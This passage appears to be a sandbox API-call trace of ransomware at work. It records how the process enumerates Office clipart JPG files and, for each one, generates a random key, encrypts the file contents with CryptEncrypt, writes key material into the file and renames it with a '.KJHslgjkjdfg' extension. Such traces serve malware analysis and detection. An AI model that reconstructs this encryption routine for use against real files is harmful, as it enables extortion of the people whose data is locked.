lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.872] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.872] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.872] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.872] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x17dee, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x17dee, lpOverlapped=0x0) returned 1 [0213.875] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x17df0, dwBufLen=0x17df0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x17df0) returned 1 [0213.876] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.876] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x17df0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x17df0, lpOverlapped=0x0) returned 1 [0213.876] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.876] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.876] SetEndOfFile (hFile=0x130) returned 1 [0213.880] GetProcessHeap () returned 0x2ef0000 [0213.880] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.880] GetProcessHeap () returned 0x2ef0000 [0213.880] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.880] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg.kjhslgjkjdfg")) returned 1 [0213.882] CloseHandle (hObject=0x130) returned 1 [0213.882] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bb02, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382965.JPG", cAlternateFileName="")) returned 1 [0213.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.883] GetProcessHeap () returned 0x2ef0000 [0213.883] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.883] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.883] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.883] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0213.885] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.886] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.886] GetProcessHeap () returned 0x2ef0000 [0213.886] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.886] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.886] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.886] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.886] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.886] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.886] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.886] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.886] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.886] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.886] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.887] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.887] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1bb02, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1bb02, lpOverlapped=0x0) returned 1 [0213.889] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1bb10, dwBufLen=0x1bb10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1bb10) returned 1 [0213.890] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.890] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1bb10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1bb10, lpOverlapped=0x0) returned 1 [0213.891] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.891] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1bbe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.891] SetEndOfFile (hFile=0x130) returned 1 [0213.894] GetProcessHeap () returned 0x2ef0000 [0213.895] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.895] GetProcessHeap () returned 0x2ef0000 [0213.895] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.895] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg.kjhslgjkjdfg")) returned 1 [0213.897] CloseHandle (hObject=0x130) returned 1 [0213.897] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382966.JPG", cAlternateFileName="")) returned 1 [0213.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.898] GetProcessHeap () returned 0x2ef0000 [0213.898] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.898] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.898] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.898] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.901] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.901] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.901] GetProcessHeap () returned 0x2ef0000 [0213.902] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.902] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.902] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.902] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.902] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.902] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.902] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.902] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.902] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.903] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.903] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.903] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.903] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x18888, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x18888, lpOverlapped=0x0) returned 1 [0213.905] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x18890, dwBufLen=0x18890 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x18890) returned 1 [0213.906] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.906] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x18890, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x18890, lpOverlapped=0x0) returned 1 [0213.907] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.907] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x18964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.907] SetEndOfFile (hFile=0x130) returned 1 [0213.911] GetProcessHeap () returned 0x2ef0000 [0213.911] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.911] GetProcessHeap () returned 0x2ef0000 [0213.911] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.911] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg.kjhslgjkjdfg")) returned 1 [0213.913] CloseHandle (hObject=0x130) returned 1 [0213.913] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16d08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382967.JPG", cAlternateFileName="")) returned 1 [0213.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.915] GetProcessHeap () returned 0x2ef0000 [0213.915] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.915] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.915] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.915] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.917] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.917] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.917] GetProcessHeap () returned 0x2ef0000 [0213.917] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.918] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.918] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.918] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.918] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.918] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.918] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.918] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.918] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.918] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.918] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.918] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.918] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x16d08, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x16d08, lpOverlapped=0x0) returned 1 [0213.920] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16d10, dwBufLen=0x16d10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16d10) returned 1 [0213.921] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.921] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x16d10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x16d10, lpOverlapped=0x0) returned 1 [0213.922] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.922] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x16de4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.922] SetEndOfFile (hFile=0x130) returned 1 [0213.925] GetProcessHeap () returned 0x2ef0000 [0213.925] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.925] GetProcessHeap () returned 0x2ef0000 [0213.925] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.925] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg.kjhslgjkjdfg")) returned 1 [0213.927] CloseHandle (hObject=0x130) returned 1 [0213.927] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b75f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382968.JPG", cAlternateFileName="")) returned 1 [0213.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.928] GetProcessHeap () returned 0x2ef0000 [0213.928] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.928] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.928] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.928] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x1, lpOverlapped=0x0) returned 1 [0213.930] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.930] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.930] GetProcessHeap () returned 0x2ef0000 [0213.930] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.930] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.930] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.930] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.931] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.931] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.998] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.998] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.998] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.998] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.998] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.998] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.998] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, 